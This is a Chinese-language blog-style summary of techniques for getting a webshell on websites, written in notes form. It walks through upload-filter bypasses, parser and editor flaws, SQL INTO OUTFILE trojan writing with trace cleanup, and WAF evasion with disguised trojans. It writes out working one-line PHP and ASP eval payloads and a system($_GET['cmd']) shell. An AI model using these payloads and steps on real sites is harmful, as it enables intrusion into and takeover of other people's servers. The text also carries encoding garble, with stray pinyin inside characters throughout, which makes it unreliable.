?獲取webshell主要分兩大類:
一、cms獲取webshell
二、非cms獲取webshell
??什么是CMS
CMS系統(tǒng)指的是內(nèi)容管理系統(tǒng)。內(nèi)容管理系統(tǒng)(CMS)是允許用戶將內(nèi)容直接發(fā)布到Web的接口。將內(nèi)容頁面直接添加到Web的過程比從本地計(jì)算機(jī)創(chuàng)建和上載頁面提前一步,因?yàn)樗试S大量人員遠(yuǎn)程添加和共享數(shù)據(jù)。
通俗來講:CMS可以理解為CMS幫你把一個(gè)網(wǎng)站的程序部分的事全做完了;你要做的只是一個(gè)網(wǎng)站里面美工的部份
??一、cms獲取webshell
我們打開一個(gè)網(wǎng)站的時(shí)候利用wappalyzer插件可以看到網(wǎng)站的cms指紋信息
然后我們可以百度獲取webshell方法,因?yàn)檫@些都是公開的
獲取cms方法
進(jìn)入后臺(tái)之后可以查看
查看CMS系統(tǒng)
有可能直接顯示
有可能會(huì)在最下方信息中顯示
有可能要使用工具
御劍web指紋識(shí)別
谷歌瀏覽器的wappalyzer


??二、非cms獲取webshell
當(dāng)網(wǎng)站沒有用開源的cms,或者使用自己開發(fā)的cms,我們?nèi)绾潍@取webshell呢?首先分兩種情況有管理權(quán)限(登錄后臺(tái))、和無管理權(quán)限(沒有登錄后臺(tái))。
??有管理權(quán)限下
直接上傳
網(wǎng)站對(duì)上傳文件后綴格式并未過濾,直接上傳WebShell即可
大概思路是,已知后臺(tái)管理員賬號(hào)和密碼,找有上傳節(jié)點(diǎn)的地方,寫一個(gè)隱蔽或變形的木馬上傳,上傳成功后,用菜刀或蟻劍連接。
添加后綴類型上傳
注:為什么要寫一個(gè)隱蔽或變形的木馬呢?因?yàn)槿绻阌玫某R姷哪抉R,只要一上傳就會(huì)被管理員或WAF發(fā)現(xiàn)(常見的木馬WAF都是有收集的,所以可以寫完木馬之后用D盾檢查一下,被WAF檢測出來的危險(xiǎn)等級(jí)是多少)
2.數(shù)據(jù)庫備份與恢復(fù)
把允許上傳的格式的木馬,備份或者恢復(fù)成木馬格式
網(wǎng)站對(duì)上傳的文件后綴進(jìn)行過濾,不允許上傳腳本類型文件如 asp、php、jsp、aspx等。然后我們可以使用工具講一句話木馬插入圖片中
而網(wǎng)站具有數(shù)據(jù)庫備份功能,這時(shí)我們就可以將WebShell格式先改為允許上傳的文件格式,然后,我們找到上傳后的文件路徑,通過數(shù)據(jù)庫備份,將文件備份為腳本格式。
1)有些備份數(shù)據(jù)庫的地方,限制了用戶更改路徑,那該怎么辦?
F12打開開發(fā)者工具,修改文本框元素的value值為我們想要的路徑或格式就可以完成修改
2)如果上傳的格式被限制呢?該怎么辦?
可以使用%00截?cái)鄟砝@過上傳限制或使用BurpSuite 工具(%00截?cái)?、特殊名文件名繞過、文件名大小寫繞過等等黑白名單繞過)之前講過
3.本地js驗(yàn)證突破拿WebShell
當(dāng)網(wǎng)站設(shè)置了js來限制用戶上傳的文件類型時(shí),可以通過刪除js驗(yàn)證或者修改上傳類型突破上傳拿WebShell。(這種方法之前講過,印象很深,最近有一篇繞過IWRITE寫作平臺(tái)防復(fù)制粘貼內(nèi)個(gè)功能就是利用的這個(gè)方法)
或者使用BurpSuite 或者是 Fiddle等代理工具提交,本地文件先更改為jpg,上傳時(shí)攔截,再把文件擴(kuò)展名更改為asp或者php即可
4、上傳其它腳本類型拿WebShell
1)此類型用于一臺(tái)服務(wù)器具有多個(gè)網(wǎng)站,a網(wǎng)站是asp的站,b可能是php的站,而a站中限制了上傳文件類型為asp的文件,你可以嘗試上傳php的腳本,來拿Shell
2)你也可以嘗試將腳本文件后綴名改為asa 或者在后面直接加個(gè)點(diǎn)(.)如"xx.asp." 來突破文件類型限制進(jìn)行上傳拿WebShell
這個(gè)思路還是頭一次見噢,有用的思路增加了!
5、%00截?cái)嗄肳ebShell
很傳統(tǒng)了不多說
截?cái)嗌蟼?br> %00截?cái)?br> 特殊文件名
1)在上傳文件的時(shí)候,你上傳的文件名可能會(huì)被網(wǎng)站自動(dòng)改成別的名字,這個(gè)時(shí)候你可以嘗試抓取上傳文件數(shù)據(jù)包,將文件名改為xx.asp%00.jpg進(jìn)行截?cái)嗌蟼?,拿WebShell
6、利用解析漏洞拿WebShell
可以看中間件漏洞那個(gè)欄目 個(gè)人認(rèn)為記住幾個(gè)常見的就好了吧,一般都是會(huì)查一遍的,這大便宜不撿白不撿
1)IIS5.x / 6.0 解析漏洞
2)IIS 7.0 / IIS 7.5 / Nginx <8.03 畸形解析漏洞
3)Nginx < 8.03 空字節(jié)代碼執(zhí)行漏洞
畸形解析漏洞
4)Apache 解析漏洞
(由于Apache是從右到左開始判斷解析的,如果不可識(shí)別解析,就再往左判斷)
7、利用編輯器漏洞拿WebShell
同中間件
常見編輯器
fckeditor
ewebeditor
cheditor
8、網(wǎng)站配置插馬拿WebShell
通過找到網(wǎng)站默認(rèn)配置,將一句話插入到網(wǎng)站配置中,不過為了能夠成功執(zhí)行插馬,建議先下載該站源碼,進(jìn)行查看源碼過濾規(guī)則,以防插馬失敗。
PS:插馬失敗很有可能會(huì)導(dǎo)致網(wǎng)站被你寫的一句話木馬,沒有閉合標(biāo)簽導(dǎo)致被網(wǎng)站被插廢。
數(shù)據(jù)庫配置文件插馬也是相同的
往配置文件寫入木馬就可以了
不太清楚這個(gè)插廢是啥情況,沒遇到過,根據(jù)不同情況,編寫不同代碼,需要一定能力噢
9、通過編輯模塊拿WebShell
1)通過對(duì)網(wǎng)站的模塊進(jìn)行編輯寫入一句話,然后生成腳本文件拿WebShell
2)通過將木馬添加到壓縮文件,把名字改為網(wǎng)站模板類型,上傳到網(wǎng)站服務(wù)器,拿WebShell
10、修改腳本直接拿WebShell
有的網(wǎng)站可以修改添加腳本文件,可以直接拿WebShell
11、SQL命令獲取
這個(gè)算今天印象最深刻的了
可以通過phpmyadmin 登錄數(shù)據(jù)庫使用數(shù)據(jù)庫命令來寫如一句話拿WebShell
注:這個(gè)前提條件是需要有一定的數(shù)據(jù)庫權(quán)限
大致步驟:
創(chuàng)建表
將一句話寫入剛創(chuàng)建的表中
查詢一句話所在表到文件,成功將一句話寫入文件
具體操作
第一種
1 CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
2 INSERT INTO `mysql`.`best` (`best1` ) VALUES ('');
3 SELECT `best1` FROM `best` INTO OUTFILE 'd:/wamp/www/best.php';
4 DROP TABLE IF EXISTS `best`;
將一句話木馬插入到mysql庫best表best1字段
查詢這個(gè)字段導(dǎo)出到網(wǎng)站的文件中
把痕跡清除
第二種方法
1 Create TABLE moon(best text NOT NULL);
2 Insert INTO moon(best)VALUES('');
3 selectbest from moon into outfile'd:/wamp/www/best2.php';
4、 Drop TABLE IF EXISTS moon;
第三種方法:
1、select''INTO OUTFILE'd:/wamp/www/best3.php'
優(yōu)先推薦不但簡單明了,而且避免了誤刪別人的數(shù)據(jù)!
第四種方法
1 select'\';system($_GET[\'cmd\']); echo \'\';
2 ?>'INTO OUTFILE'd:/wamp/www/best4.php'
12、上傳特殊木馬拿WebShell
一些網(wǎng)站安裝了WAF 安全狗、360,我們可以通過上傳一些免殺馬,變形木馬來進(jìn)行突破封殺
例如:
"%><%eval request("Skull.")%><%'"
13、文件包含拿WebShell
先將WebShell 改為txt格式文件上傳,然后上傳一個(gè)腳本文件包含該txt格式文件,可繞過WAF拿WebShell
這種情況一般是,我們已經(jīng)通過菜刀拿下了權(quán)限了,假設(shè)菜刀一句話木馬可以過安全狗,但大馬卻怎么都沒有上傳成功,繞過安全狗
解決發(fā)現(xiàn)大馬上傳不了,被防火墻或者安全狗攔截時(shí),可以考慮使用包含文件
思路
1)先上傳一個(gè)含有包含代碼(如)卻沒有攻擊代碼的文件,不會(huì)被狗攔
2)再將大馬改成jpg圖片文件上傳,也不會(huì)被狗攔
3)訪問第一次上傳的包含函數(shù)的文件,會(huì)發(fā)現(xiàn)執(zhí)行了木馬
4)這里是因?yàn)榘瘮?shù)包含的文件會(huì)被當(dāng)成腳本文件,直接將文件內(nèi)容插入到這個(gè)文件中
非管理權(quán)限(不登錄后臺(tái))
1、SQL注入漏洞
有高權(quán)限 有絕對(duì)路徑可以直接寫
前提條件,具有足夠權(quán)限,對(duì)寫入木馬的文件夾有寫入權(quán)限,知道網(wǎng)站絕對(duì)路徑
1.對(duì)于MsSQL 注入漏洞網(wǎng)站可以通過log 備份、差異備份拿WebShell
2.對(duì)于MySQL 注入漏洞的網(wǎng)站可以通過into outfile 函數(shù)(寫入函數(shù))將一句話木馬寫入,拿WebShell。要有file_priv權(quán)限
2. 知道文件絕對(duì)路徑
3. 能使用union
4. 對(duì)web目錄有讀權(quán)限
注:若過濾了單引號(hào),則可以將函數(shù)中的字符進(jìn)行hex編碼還有一個(gè)是into file 函數(shù)(讀取函數(shù))# into outfile 函數(shù)類似
之后3.利用phpmyadmin 將木馬導(dǎo)出,拿WebShell
4.利用連接外連的數(shù)據(jù)庫拿WebShell
2、修改網(wǎng)站上傳類型配置來拿WebShell
某些網(wǎng)站,在網(wǎng)站上傳類型中限制了上傳腳本類型文件,我們可以去添加上傳文件類型如添加asp | php | jsp | aspx | asa 后綴名來拿WebShell
3、xss和sql注入聯(lián)合利用
有些輸入框?qū)σ恍┓?hào)過濾不嚴(yán)密(如<>,所以一般存在xss的地方就可以這么利用)我們可以在這里輸入一句話<?php @eval($_POST['CE']);?>之后再用數(shù)據(jù)庫注入,查詢到文件into file成功插入一句話木馬
4、IIS寫權(quán)限拿WebShell
有些網(wǎng)站的管理員在配置網(wǎng)站權(quán)限的時(shí)候疏忽,導(dǎo)致我們有寫權(quán)限,這種漏洞需要用工具來利用,在這里就不說了,只是提一下。而且已經(jīng)很少見了,有專門的利用工具(桂林老兵),原理是通過找到有IIS 寫入權(quán)限的網(wǎng)站(開啟WebDeV),PUT進(jìn)去一個(gè).txt 格式的文件,目錄必須有刻寫的權(quán)限,如 image 文件夾,然后通過move 方法,把txt 格式的木馬用move 成腳本格式。
5、遠(yuǎn)程命令執(zhí)行拿WebShell
在有php代碼執(zhí)行漏洞
例如一些框架漏洞的時(shí)候
可以通過執(zhí)行一些系統(tǒng)命令進(jìn)行拿WebShell
執(zhí)行命令行命令“寫入內(nèi)容到文件"echo ?php "@eval($_POST['CE']);?>" > x.php 會(huì)自動(dòng)將創(chuàng)建木馬文件并將一句話木馬寫入其中,使用菜刀連接即可。
6、頭像上傳拿WebShell
大概思路:
1、將大馬放在文件夾中
2、將文件夾壓縮成壓縮文件(zip)
3、正常上傳一個(gè)頭像并且抓包
4、將數(shù)據(jù)包中圖片頭像的內(nèi)容部分刪掉
5、重新寫入文件內(nèi)容,將壓縮文件寫入到原本圖片的位置
上傳
之后返回包中會(huì)告訴我們絕對(duì)路徑
其他拿webshell方法
1、PhpMyadmin獲取Webshell
2、Tomcat獲取Webshell
3、Weblogic獲取Webshell
4、JBoss獲取Webshell
5.更新頁面拿webshell
在網(wǎng)站模板中的404頁面中插入一句話木馬,之后找到這個(gè)頁面的絕對(duì)路徑,訪問之即可拿Shell
6.上傳插件拿webshell
將木馬放入zip壓縮文件中,最好是網(wǎng)站插件的壓縮文件,之后再后臺(tái)安裝插件,選中含有木馬的壓縮文件,會(huì)自動(dòng)將插件連通木馬安裝在網(wǎng)站目錄下,接下來我們只需要尋找到木馬的絕對(duì)路徑即可
今天一天查了好多資料,這篇文章借鑒了以下的文章,有的年代久遠(yuǎn)有的剛更新不久,與其說借鑒,倒不如說是對(duì)這些文章的一個(gè)總結(jié)抄錄,在這里由衷感謝各位安全大佬的無私分享!
獲取webshell的一些總結(jié) http://www.itdecent.cn/p/4d37c160d009
拿WebShell 方法總結(jié) 原文鏈接:https://blog.csdn.net/God_XiangYu/article/details/99644596
http://gstarwd.iteye.com/blog/542376 dedecms獲取Webshell總結(jié)
http://www.2cto.com/Article/201209/156909.html 淺談MySQL導(dǎo)出一句話木馬拿WebShell的方法